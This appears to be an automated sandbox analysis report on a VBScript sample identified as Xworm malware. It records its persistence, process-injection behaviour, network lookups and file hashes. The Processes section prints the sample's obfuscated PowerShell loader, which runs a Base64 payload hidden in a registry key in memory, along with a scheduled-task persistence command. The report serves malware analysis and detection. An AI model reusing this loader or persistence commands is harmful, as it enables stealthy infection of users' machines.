Analysis Overview
SHA256
db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225
Threat Level: Known bad
The file FUD.vbs was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Executes dropped EXE
Drops startup file
Adds Run key to start application
Looks up external IP address via web service
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-21 20:33
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-21 20:33
Reported
2024-06-21 20:38
Platform
win11-20240508-en
Max time kernel
284s
Max time network
244s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Windows backup | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Windows backup | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3888 wrote to memory of 4988 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3888 wrote to memory of 4988 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4988 wrote to memory of 2220 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
| PID 4988 wrote to memory of 2220 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | Jamalhacker-53065.portmap.io | udp |
Files
memory/4988-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldndrbhu.ash.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4988-6-0x000002122E010000-0x000002122E032000-memory.dmp
memory/4988-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp
memory/4988-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp
memory/4988-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp
memory/4988-13-0x000002122E440000-0x000002122E486000-memory.dmp
memory/4988-15-0x000002122E1D0000-0x000002122E1E0000-memory.dmp
memory/4988-20-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp
memory/4988-21-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp
C:\Users\Admin\Windows backup
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | e566632d8956997225be604d026c9b39 |
| SHA1 | 94a9aade75fffc63ed71404b630eca41d3ce130e |
| SHA256 | b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0 |
| SHA512 | f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Windows backup.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | a1e1b2906fd761e72f3c2cd8f27dd8ca |
| SHA1 | 803061603f5b911cb5bd701a21c9ce408b065f79 |
| SHA256 | 915e39a5c6da978172a51d8802604a592e9f49678847a0a467f30ad1e01bc542 |
| SHA512 | 271d24e135bd4a1fbeff84e65abe76d34338d4929e5d0792bb9f5b4ef15cccf09754ab794eee1d988aa5cd553f0c12a1e18a1155ceabc2521329403a9dbe653b |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
| MD5 | 0f1dfa11c990c28f572e3c86f1f4bb05 |
| SHA1 | 98649818374499f7adf3b7b3a2f43b46cdd6e582 |
| SHA256 | 43ac26cbbe3e456a03fea615053557e6c2e8888a4fc11a4ffa717503a167fab2 |
| SHA512 | 62b1c50acef663660b6b47dbe91213141b5506d9bea898dfbfbf1970e0bb531f2ae423e373b1325a6f9fb5db8cd651f6d8f41baa924f991e7289ae248abfbce1 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | d69efb50cef428dcdedfdc72a8764d59 |
| SHA1 | 9d7c09c3f1d51dc685e4ba39e721fe78f81fb0b1 |
| SHA256 | c2d935f8fb7a25df1a37225f2b3c1865578b03826acabaa555ae42d2be243293 |
| SHA512 | 4f01a5889caab1e38646a55901d0a14eabe0a1400d33ba90ec20b55caa7c50949a4d62b20be87cdbbd2d0d9bb767e0c9a8544ceadae7f9458bf1aa560cbfd0dd |